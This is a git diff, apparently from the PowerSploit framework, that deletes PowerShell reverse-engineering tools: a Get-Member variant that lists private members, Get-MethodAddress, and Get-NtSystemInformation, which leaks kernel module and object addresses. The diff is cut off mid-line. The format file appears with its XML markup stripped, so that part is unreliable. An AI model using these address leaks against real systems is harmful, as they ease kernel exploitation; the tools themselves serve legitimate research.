$PrivateMemberType = [System.Reflection.MemberTypes]::All, - - [Parameter(ParameterSetName = 'Default')] - [System.Management.Automation.PSMemberViewTypes] - $View, - - [Parameter(ParameterSetName = 'Default')] - [Parameter(ParameterSetName = 'Private')] - [Switch] - $Static, - - [Parameter(ParameterSetName = 'Default')] - [Parameter(ParameterSetName = 'Private')] - [Switch] - $Force, - - [Parameter(ParameterSetName = 'Private')] - [Switch] - $Private - ) - - BEGIN - { - try { - $outBuffer = $null - if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) - { - $PSBoundParameters['OutBuffer'] = 1 - } - $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Microsoft.PowerShell.Utility\Get-Member', [System.Management.Automation.CommandTypes]::Cmdlet) - # Redirect the output of the command to $out variable - $null = $PSBoundParameters.Add('OutVariable', 'out') - # Redirect original output to $null - if ($PSBoundParameters['Private']) { - $null = $PSBoundParameters.Remove('Private') - $Private = $True - } - if ($PSBoundParameters['PrivateMemberType']) { - $PrivateMemberType = $PSBoundParameters['PrivateMemberType'] - $null = $PSBoundParameters.Remove('PrivateMemberType') - } - $scriptCmd = {& $wrappedCmd @PSBoundParameters | Out-Null } - $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) - $steppablePipeline.Begin($PSCmdlet) - } catch { - } - } - - PROCESS - { - try { - $steppablePipeline.Process($_) - } catch { - } - } - - END - { - try { - $steppablePipeline.End() - if ($Private) { - - $Object = $PSBoundParameters['InputObject'] - if ($Object.GetType().FullName -ne 'System.RuntimeType') { - # If InputObject is an instance of an object, get its type - # Otherwise, it's assumed that what was passed in was already a type - $Object = $Object.GetType() - } - - if ($PSBoundParameters['Static']) { - $Flags = 'Static, NonPublic' - - # Retrieve all static, nonpublic members except for constructors - $Types = foreach ($Val in [Enum]::GetValues([System.Reflection.MemberTypes])) { - $Object.GetMembers($Flags) | Where-Object { ($_.MemberType -eq ($Val.value__ -band $PrivateMemberType)) -and ($Val -ne [System.Reflection.MemberTypes]::All) -and ($_.MemberType -ne 'Constructor') } - } - - # Retrieve all static constructors (both public and nonpublic) - # Public constructors are retrieved because the original 'Get-Member -Force' does not retrieve constructors - $Types += $Object.GetConstructors('Static, NonPublic, Public') - } else { - $Flags = 'Instance, NonPublic' - - # Retrieve all instance, nonpublic members except for constructors - $Types = foreach ($Val in [Enum]::GetValues([System.Reflection.MemberTypes])) { - $Object.GetMembers($Flags) | Where-Object { ($_.MemberType -eq ($Val.value__ -band $PrivateMemberType)) -and ($Val -ne [System.Reflection.MemberTypes]::All) -and ($_.MemberType -ne 'Constructor') } - } - - # Retrieve all instance constructors (both public and nonpublic) - # Public constructors are retrieved because the original 'Get-Member -Force' does not retrieve constructors - $Types += $Object.GetConstructors('Instance, NonPublic, Public') - } - - # Filter out types with special names if '-Force' is not specified - if (!$Force) { - $Types = $Types | Where-Object { !$_.IsSpecialName } - } - - $TypeTable = @{} - - # For each type, build an array of object equivalent to an array of Microsoft.PowerShell.Commands.MemberDefinition objects. - # An array of custom objects is required because the MemberDefinition object doesn't take System.Reflection.MemberTypes - # objects in its constructor. - $Results = $Types | ForEach-Object { - - $Type = $_ - - switch ($Type.MemberType) { - 'Constructor' { - $Parameters = ($Type.GetParameters() | % {$_.ParameterType.FullName}) -join ', ' - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.Name)($($Parameters))" - } - 'Field' { - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.FieldType)" - } - 'Method' { - $Parameters = ($Type.GetParameters() | % {$_.ParameterType.FullName}) -join ', ' - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.ReturnType) $($Type.Name)($($Parameters))" - } - 'Property' { - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.PropertyType) $($Type.Name) {$(if ($Type.CanRead){'get;'})$(if ($Type.CanWrite){'set;'})}" - } - 'NestedType' { - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.FullName) BaseType=$($Type.BaseType)" - } - 'Event' { - $Parameters = ($Type.GetAddMethod().GetParameters() | % {$_.ParameterType.FullName}) -join ', ' - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.EventHandlerType) $($Type.Name)(System.Object, $($Parameters))" - } - } - - # Identical properties as the Microsoft.PowerShell.Commands.MemberDefinition object - $InternalMemberType = @{ - TypeName = $Type.DeclaringType.FullName - Name = $Type.Name - MemberType = $Type.MemberType - Definition = $Definition - } - - New-Object PSObject -Property $InternalMemberType - } - - # For members with the same name, compress them into an array that will be stored in a hashtable - $Results | ForEach-Object { - $TypeTable["$($_.Name)"] += @($_) - } - - $Results = foreach ($Type in $TypeTable.Keys) { - $ReturnType = @{ - TypeName = $TypeTable[$Type][0].TypeName - Name = $TypeTable[$Type][0].Name - MemberType = $TypeTable[$Type][0].MemberType - # Append each definition into a single definition. - # This behavior is indentical to what the unmodified - # Get-Member does. - Definition = ($TypeTable[$Type] | ForEach-Object { $_.Definition }) -join ', ' - } - - $MemberDef = New-Object PSObject -Property $ReturnType - <# - Cool trick. Even though the custom object is actually a Microsoft.PowerShell.Commands.MemberDefinition - object, you can trick it into thinking it is so that it will display the same way the result of the - original Get-Member cmdlet would. - #> - $MemberDef.PSObject.TypeNames.Insert(0, 'Microsoft.PowerShell.Commands.MemberDefinition') - $MemberDef - } - - # If '-Name' parameter is specified, only return members matching the name specified - if ($PSBoundParameters['Name']) { - $MemberNames = [String[]] $PSBoundParameters['Name'] - - $Tmp = New-Object PSObject[](0) - - foreach ($MemberName in $MemberNames) { - $Tmp += $Results | Where-Object { $_.Name -eq $MemberName } - } - - $Results = $Tmp - } - - # Return the results if the results are non-null - if ($Results.Count) { - $Results | Sort-Object TypeName, MemberType, Name - } - } else { - # If '-Private' is not set, return the results of the original Get-Member cmdlet - $out | Sort-Object TypeName, MemberType, Name - } - } catch { - } - } -} - diff --git a/ReverseEngineering/Get-MethodAddress.ps1 b/ReverseEngineering/Get-MethodAddress.ps1 deleted file mode 100644 index 4a488cfd..00000000 --- a/ReverseEngineering/Get-MethodAddress.ps1 +++ /dev/null @@ -1,120 +0,0 @@ -function Get-MethodAddress -{ -<# -.SYNOPSIS - -Get the unmanaged function address of a .NET method. - -PowerSploit Function: Get-MethodAddress -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-MethodAddress aids in the process of reverse engineering and exploitation by returning an unmanaged function pointer to any .NET method. This method is useful for those interested in seeing what JITed MSIL opcodes look like in their assembly language representation. - -For example, here is the MSIL representation of [System.IntPtr].ToPointer: -0x02 ldarg.0 -0x7B,0x53,0x04,0x00,0x04 ldfld void* System.IntPtr::m_value -0x2A ret - -After calling Get-MethodAddress and inspecting it in WinDbg, here is the x86_64 ASM representation: -C:\PS> Get-MethodAddress ([IntPtr].GetMethod('ToPointer')) -0x000007FF35544CC0 - -mscorlib_ni+0xd04cc0: -000007ff`35544cc0 488b01 mov rax,qword ptr [rcx] -000007ff`35544cc3 c3 ret -000007ff`35544cc4 cc int 3 - -This MSIL to ASM translation makes sense because all the assembly instructions are doing is dereferencing the pointer in rcx. - -.PARAMETER MethodInfo - -The method whose unmanaged address will be returned. - -.EXAMPLE - -C:\PS> Get-MethodAddress ([String].GetMethod('Trim', [Type[]]@())) - -Description ------------ -Returns the unmanaged address of [System.Object].Trim() method. - -.EXAMPLE - -C:\PS> [Int].Module.GetTypes().GetMethods() | ForEach-Object {Get-MethodAddress $_ -ErrorAction SilentlyContinue -WarningAction SilentlyContinue} - -Description ------------ -Returns an unmanaged address for every method (in which an address can be returned) in mscorlib. - -.OUTPUTS - -System.String - -A hexadecimal representation of the method address. - -.NOTES - -Not all methods will be able to return an address. For example, methods with implementation flags of AggressiveInlining, Synchronized, or CodeTypeMask will not return an address. Also note that any InternalCall method will return the same pointer every time because the CLR determines its address at runtime. - -Lastly, note that the MSIL opcodes used to implement this cmdlet are unverifiable. This means for example, that this technique won't aid exploiting Silverlight applications. :'( - -.LINK - -http://www.exploit-monday.com/2012/11/Get-MethodAddress.html -#> - - [CmdletBinding()] Param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] - $MethodInfo - ) - - if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall') - { - Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address." - } - - if ([IntPtr]::Size -eq 4) - { - $ReturnType = [UInt32] - } - else - { - $ReturnType = [UInt64] - } - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly') - # Assemble in memory - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule') - $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public) - # Declaration of the LeakMethod method - $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null) - $Generator = $MethodBuilder.GetILGenerator() - - # Push unmanaged pointer to MethodInfo onto the evaluation stack - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - # Assemble everything - $Type = $TypeBuilder.CreateType() - $Method = $Type.GetMethod('LeakMethod') - - try - { - # Call the method and return its JITed address - $Address = $Method.Invoke($null, @()) - - Write-Output (New-Object IntPtr -ArgumentList $Address) - } - catch [System.Management.Automation.MethodInvocationException] - { - Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." - } -} \ No newline at end of file diff --git a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml deleted file mode 100644 index 41b5280b..00000000 --- a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml +++ /dev/null @@ -1,440 +0,0 @@ - - - - - SystemModuleView - - _SYSTEM_MODULE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - ImageSize - 0x{0:X8} - - - Flags - 0x{0:X8} - - - Index - 0x{0:X4} - - - Rank - 0x{0:X4} - - - LoadCount - 0x{0:X4} - - - NameOffset - 0x{0:X4} - - - $_.Name -replace '\\SystemRoot', $Env:SystemRoot - - - - - - - - SystemLockView - - _SYSTEM_LOCK_INFORMATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "0x$($_.Address.ToString("X$([IntPtr]::Size * 2)"))" - - - Type - 0x{0:X4} - - - ExclusiveOwnerThreadId - 0x{0:X4} - - - ActiveCount - 0x{0:X8} - - - ContentionCount - 0x{0:X8} - - - NumberOfSharedWaiters - 0x{0:X8} - - - NumberOfExclusiveWaiters - 0x{0:X8} - - - - - - - - PoolTagView - - _SYSTEM_POOL_TAG_INFORMATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Tag - - - PagedPoolAllocs - 0x{0:X8} - - - PagedPoolFrees - 0x{0:X8} - - - PagedPoolUsage - 0x{0:X8} - - - NonPagedPoolAllocs - 0x{0:X8} - - - NonPagedPoolFrees - 0x{0:X8} - - - NonPagedPoolUsage - 0x{0:X8} - - - - - - - - SystemHandleView - - _SYSTEM_HANDLE_INFORMATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - UniqueProcessId - 0x{0:X4} - - - CreatorBackTraceIndex - 0x{0:X4} - - - ObjectType - - - HandleAttribute - - - HandleValue - 0x{0:X4} - - - "0x$($_.Object.ToString("X$([IntPtr]::Size * 2)"))" - - - GrantedAccess - - - - - - - - GenericMappingView - - _GENERIC_MAPPING - - - - - - - - - - - - - - - - - - - - - - GenericRead - 0x{0:X8} - - - GenericWrite - 0x{0:X8} - - - GenericExecute - 0x{0:X8} - - - GenericAll - 0x{0:X8} - - - - - - - - ObjectTypeView - - _SYSTEM_OBJECTTYPE_INFORMATION - - - - - - - NumberOfObjects - 0x{0:X8} - - - NumberOfHandles - 0x{0:X8} - - - TypeIndex - 0x{0:X8} - - - InvalidAttributes - - - GenericMapping - - - ValidAccessMask - - - PoolType - - - SecurityRequired - 0x{0:X2} - - - WaitableObject - 0x{0:X2} - - - TypeName - - - Objects - - - - - - - - ObjectView - - _SYSTEM_OBJECT_INFORMATION - - - - - - - - "0x$($_.Object.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.CreatorUniqueProcess.ToString("X$([IntPtr]::Size * 2)"))" - - - CreatorBackTraceIndex - 0x{0:X4} - - - Flags - - - PointerCount - 0x{0:X8} - - - HandleCount - 0x{0:X8} - - - PagedPoolCharge - 0x{0:X8} - - - NonPagedPoolCharge - 0x{0:X8} - - - - "0x$($_.ExclusiveProcessId.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SecurityDescriptor.ToString("X$([IntPtr]::Size * 2)"))" - - - NameInfo - - - - - - - - CodeIntegrityTypeView - - _SYSTEM_CODEINTEGRITY_INFORMATION - - - - - - - CodeIntegrityOptions - 0x{0:X8} - - - LockdownState - - - - - - - - \ No newline at end of file diff --git a/ReverseEngineering/Get-NtSystemInformation.ps1 b/ReverseEngineering/Get-NtSystemInformation.ps1 deleted file mode 100644 index bb0871a8..00000000 --- a/ReverseEngineering/Get-NtSystemInformation.ps1 +++ /dev/null @@ -1,1082 +0,0 @@ -function Get-NtSystemInformation -{ -<# -.SYNOPSIS - - Returns various forms of internal OS information. - - PowerSploit Function: Get-NtSystemInformation - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Get-NtSystemInformation is a utility that calls and parses the output of the - ntdll!NtQuerySystemInformation function. This utility can be used to query - internal OS information that is typically not made visible to a user. - -.PARAMETER PoolTagInformation - - Returns information on tagged kernel pool allocations. - -.PARAMETER ModuleInformation - - Returns loaded kernel module information. - -.PARAMETER HandleInformation - - Returns handle information about user-mode handles and their respective - address in the kernel. - -.PARAMETER ObjectType - - Specifies the object type to be returned when listing handles. The following - types are permitted: - - Adapter, ALPC Port, Callback, CompositionSurface, Controller, DebugObject, - Desktop, Device, Directory, Driver, DxgkSharedResource, DxgkSharedSyncObject, - EtwConsumer, EtwRegistration, Event, EventPair, File, FilterCommunicationPort, - FilterConnectionPort, IoCompletion, IoCompletionReserve, IRTimer, Job, Key, - KeyedEvent, Mutant, PcwObject, Port, PowerRequest, Process, Profile, Section, - Semaphore, Session, SymbolicLink, Thread, Timer, TmEn, TmRm, TmTm, TmTx, Token, - TpWorkerFactory, Type, UserApcReserve, WaitablePort, WaitCompletionPacket, - WindowStation, WmiGuid - -.PARAMETER ObjectInformation - - Returns information about user-mode objects and their respective kernel pool - allocations. - -.PARAMETER CodeIntegrityInformation - - Returns user-mode code integrity flags. - -.PARAMETER GlobalFlags - - Returns a list of all enabled global flags. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -PoolTagInformation - - Description - ----------- - Returns information on tagged kernel pool allocations. The output is similar - to that of poolmon.exe. The output is the result of parsing _SYSTEM_POOLTAG - structures. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -ModuleInformation - - Description - ----------- - Returns loaded kernel module information including the base address of - loaded kernel modules. The output is the result of parsing the - undocumented _SYSTEM_MODULE_INFORMATION structure. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -HandleInformation - - Description - ----------- - Returns handle information about user-mode handles and their respective - address in the kernel. The output is similar to that of handle.exe but - doesn't require an elevated prompt. handle.exe also doesn't display the - kernel address of the object that the handle represents. The output is the - result of parsing _SYSTEM_HANDLE_TABLE_ENTRY_INFO structures. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -ObjectInformation - - Description - ----------- - Returns information about user-mode objects and their respective kernel pool - allocations. The output is the result of parsing - _SYSTEM_OBJECTTYPE_INFORMATION and _SYSTEM_OBJECT_INFORMATION structures. - - Note: FLG_MAINTAIN_OBJECT_TYPELIST (0x4000), FLG_ENABLE_HANDLE_TYPE_TAGGING - (0x01000000) global flags must be set in order to retrieve the output of this - command. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -GlobalFlags - - Description - ----------- - Returns a list of all enabled global flags. This is similar to running - gflags.exe /r - -.LINK - - http://www.exploit-monday.com/ -#> - - [CmdletBinding()] Param ( - [Parameter( ParameterSetName = 'PoolTagInformation' )] - [Switch] - $PoolTagInformation, - - [Parameter( ParameterSetName = 'ModuleInformation' )] - [Switch] - $ModuleInformation, - - [Parameter( ParameterSetName = 'HandleInformation' )] - [Switch] - $HandleInformation, - - [Parameter( ParameterSetName = 'HandleInformation' )] - [ValidateSet('Adapter', 'ALPC Port', 'Callback', 'CompositionSurface', 'Controller', 'DebugObject', 'Desktop', 'Device', 'Directory', 'Driver', 'DxgkSharedResource', 'DxgkSharedSyncObject', 'EtwConsumer', 'EtwRegistration', 'Event', 'EventPair', 'File', 'FilterCommunicationPort', 'FilterConnectionPort', 'IoCompletion', 'IoCompletionReserve', 'IRTimer', 'Job', 'Key', 'KeyedEvent', 'Mutant', 'PcwObject', 'Port', 'PowerRequest', 'Process', 'Profile', 'Section', 'Semaphore', 'Session', 'SymbolicLink', 'Thread', 'Timer', 'TmEn', 'TmRm', 'TmTm', 'TmTx', 'Token', 'TpWorkerFactory', 'Type', 'UserApcReserve', 'WaitablePort', 'WaitCompletionPacket', 'WindowStation', 'WmiGuid')] - [String] - $ObjectType, - - [Parameter( ParameterSetName = 'ObjectInformation' )] - [Switch] - $ObjectInformation, - - [Parameter( ParameterSetName = 'LockInformation' )] - [Switch] - $LockInformation, - - [Parameter( ParameterSetName = 'CodeIntegrityInformation' )] - [Switch] - $CodeIntegrityInformation, - - [Parameter( ParameterSetName = 'GlobalFlags' )] - [Switch] - $GlobalFlags - ) - -#region Define the assembly/module that will hold all of our dynamic types. - try { $ntdll = [ntdll] } catch [Management.Automation.RuntimeException] - { - $DynAssembly = New-Object System.Reflection.AssemblyName('SysUtils') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SysUtils', $False) - - # Define [ntdll]::NtQuerySystemInformation method - $TypeBuilder = $ModuleBuilder.DefineType('ntdll', 'Public, Class') - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtQuerySystemInformation', 'ntdll.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') - $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('ntdll.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($true)) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - $ntdll = $TypeBuilder.CreateType() - } -#endregion - -#region Define global custom attributes - $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) - $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') - $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, @([Runtime.InteropServices.LayoutKind]::Explicit), $CharsetField, @([Runtime.InteropServices.CharSet]::Ansi)) - - $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) - $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) - - $MarshalAsConstructor = [Runtime.InteropServices.MarshalAsAttribute].GetConstructor([Runtime.InteropServices.UnmanagedType]) - $SizeConst = [Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst') - - $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' -#endregion - -#region Define enum types - try { $SystemInformationClass = [SYSTEM_INFORMATION_CLASS] } catch [Management.Automation.RuntimeException] - { - # The entries that are commented out I'll get around to when I feel like it. - - $EnumBuilder = $ModuleBuilder.DefineEnum('SYSTEM_INFORMATION_CLASS', 'Public', [Int32]) - #$EnumBuilder.DefineLiteral('SystemBasicInformation', [Int32] 0x00000000) | Out-Null - #$EnumBuilder.DefineLiteral('SystemProcessorInformation', [Int32] 0x00000001) | Out-Null - #$EnumBuilder.DefineLiteral('SystemPerformanceInformation', [Int32] 0x00000002) | Out-Null - #$EnumBuilder.DefineLiteral('SystemTimeOfDayInformation', [Int32] 0x00000003) | Out-Null - #$EnumBuilder.DefineLiteral('SystemProcessInformation', [Int32] 0x00000005) | Out-Null - #$EnumBuilder.DefineLiteral('SystemCallCounts', [Int32] 0x00000006) | Out-Null - #$EnumBuilder.DefineLiteral('SystemConfigurationInformation', [Int32] 0x00000007) | Out-Null - #$EnumBuilder.DefineLiteral('SystemProcessorPerformanceInformation', [Int32] 0x00000008) | Out-Null - $EnumBuilder.DefineLiteral('SystemGlobalFlag', [Int32] 0x00000009) | Out-Null - $EnumBuilder.DefineLiteral('SystemModuleInformation', [Int32] 0x0000000B) | Out-Null - $EnumBuilder.DefineLiteral('SystemLockInformation', [Int32] 0x0000000C) | Out-Null - $EnumBuilder.DefineLiteral('SystemHandleInformation', [Int32] 0x00000010) | Out-Null - $EnumBuilder.DefineLiteral('SystemObjectInformation', [Int32] 0x00000011) | Out-Null - #$EnumBuilder.DefineLiteral('SystemPagefileInformation', [Int32] 0x00000012) | Out-Null - #$EnumBuilder.DefineLiteral('SystemInstructionEmulationCounts', [Int32] 0x00000013) | Out-Null - $EnumBuilder.DefineLiteral('SystemPoolTagInformation', [Int32] 0x00000016) | Out-Null - #$EnumBuilder.DefineLiteral('SystemInterruptInformation', [Int32] 0x00000017) | Out-Null - #$EnumBuilder.DefineLiteral('SystemExceptionInformation', [Int32] 0x00000021) | Out-Null - #$EnumBuilder.DefineLiteral('SystemRegistryQuotaInformation', [Int32] 0x00000025) | Out-Null - #$EnumBuilder.DefineLiteral('SystemLookasideInformation', [Int32] 0x0000002D) | Out-Null - $EnumBuilder.DefineLiteral('SystemCodeIntegrityInformation', [Int32] 0x00000067) | Out-Null - $SystemInformationClass = $EnumBuilder.CreateType() - } - - try { $NtStatus = [NTSTATUS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('NTSTATUS', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('STATUS_SUCCESS', [Int32] 0x00000000) | Out-Null - $EnumBuilder.DefineLiteral('STATUS_INFO_LENGTH_MISMATCH', [Int32] 0xC0000004) | Out-Null - $NtStatus = $EnumBuilder.CreateType() - } - - try { $LockdownState = [LOCKDOWN_STATE] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('LOCKDOWN_STATE', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('UMCINONE', [Int32] 0x00000000) | Out-Null - $EnumBuilder.DefineLiteral('UMCIENFORCE', [Int32] 0x00000004) | Out-Null - $EnumBuilder.DefineLiteral('UMCIAUDIT', [Int32] 0xC0000008) | Out-Null - $LockdownState = $EnumBuilder.CreateType() - } - - try { $PoolType = [POOL_TYPE] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('POOL_TYPE', 'Public', [UInt32]) - $EnumBuilder.DefineLiteral('NonPagedPoolExecute', [UInt32] 0x00000000) | Out-Null - $EnumBuilder.DefineLiteral('PagedPool', [UInt32] 0x00000001) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolMustSucceed', [UInt32] 0x00000002) | Out-Null - $EnumBuilder.DefineLiteral('DontUseThisType', [UInt32] 0x00000003) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAligned', [UInt32] 0x00000004) | Out-Null - $EnumBuilder.DefineLiteral('PagedPoolCacheAligned', [UInt32] 0x00000005) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAlignedMustS', [UInt32] 0x00000006) | Out-Null - $EnumBuilder.DefineLiteral('MaxPoolType', [UInt32] 0x00000007) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolSession', [UInt32] 0x00000020) | Out-Null - $EnumBuilder.DefineLiteral('PagedPoolSession', [UInt32] 0x00000021) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolMustSucceedSession', [UInt32] 0x00000022) | Out-Null - $EnumBuilder.DefineLiteral('DontUseThisTypeSession', [UInt32] 0x00000023) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAlignedSession', [UInt32] 0x00000024) | Out-Null - $EnumBuilder.DefineLiteral('PagedPoolCacheAlignedSession', [UInt32] 0x00000025) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAlignedMustSSession', [UInt32] 0x00000026) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolNx', [UInt32] 0x00000200) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolNxCacheAligned', [UInt32] 0x00000204) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolSessionNx', [UInt32] 0x00000220) | Out-Null - $PoolType = $EnumBuilder.CreateType() - } - - try { $HandleFlags = [HANDLE_FLAGS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('HANDLE_FLAGS', 'Public', [Byte]) - $EnumBuilder.DefineLiteral('PROTECT_FROM_CLOSE', [Byte] 1) | Out-Null - $EnumBuilder.DefineLiteral('INHERIT', [Byte] 2) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $HandleFlags = $EnumBuilder.CreateType() - } - - try { $ObjectAttributes = [OBJECT_ATTRIBUTES] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('OBJECT_ATTRIBUTES', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('OBJ_INHERIT', [Int32] 0x00000002) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_PERMANENT', [Int32] 0x00000010) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_EXCLUSIVE', [Int32] 0x00000020) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_CASE_INSENSITIVE', [Int32] 0x00000040) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_OPENIF', [Int32] 0x00000080) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_OPENLINK', [Int32] 0x00000100) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $ObjectAttributes = $EnumBuilder.CreateType() - } - - try { $ObjectFlags = [OBJECT_FLAGS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('OBJECT_FLAGS', 'Public', [UInt16]) - $EnumBuilder.DefineLiteral('SINGLE_HANDLE_ENTRY', [UInt16] 0x0040) | Out-Null - $EnumBuilder.DefineLiteral('DEFAULT_SECURITY_QUOTA', [UInt16] 0x0020) | Out-Null - $EnumBuilder.DefineLiteral('PERMANENT', [UInt16] 0x0010) | Out-Null - $EnumBuilder.DefineLiteral('EXCLUSIVE', [UInt16] 0x0008) | Out-Null - $EnumBuilder.DefineLiteral('CREATOR_INFO', [UInt16] 0x0004) | Out-Null - $EnumBuilder.DefineLiteral('KERNEL_MODE', [UInt16] 0x0002) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $ObjectFlags = $EnumBuilder.CreateType() - } - - try { $AccessMask = [ACCESS_MASK] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('ACCESS_MASK', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('DELETE', [Int32] 0x00010000) | Out-Null - $EnumBuilder.DefineLiteral('READ_CONTROL', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('WRITE_DAC', [Int32] 0x00040000) | Out-Null - $EnumBuilder.DefineLiteral('WRITE_OWNER', [Int32] 0x00080000) | Out-Null - $EnumBuilder.DefineLiteral('SYNCHRONIZE', [Int32] 0x00100000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_REQUIRED', [Int32] 0x000F0000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_READ', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_WRITE', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_EXECUTE', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_ALL', [Int32] 0x001F0000) | Out-Null - $EnumBuilder.DefineLiteral('ACCESS_SYSTEM_SECURITY', [Int32] 0x01000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_READ', [Int32] 0x80000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_WRITE', [Int32] 0x40000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_EXECUTE', [Int32] 0x20000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_ALL', [Int32] 0x10000000) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $AccessMask = $EnumBuilder.CreateType() - } - - try { $GFlagsEnum = [GLOBAL_FLAGS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = 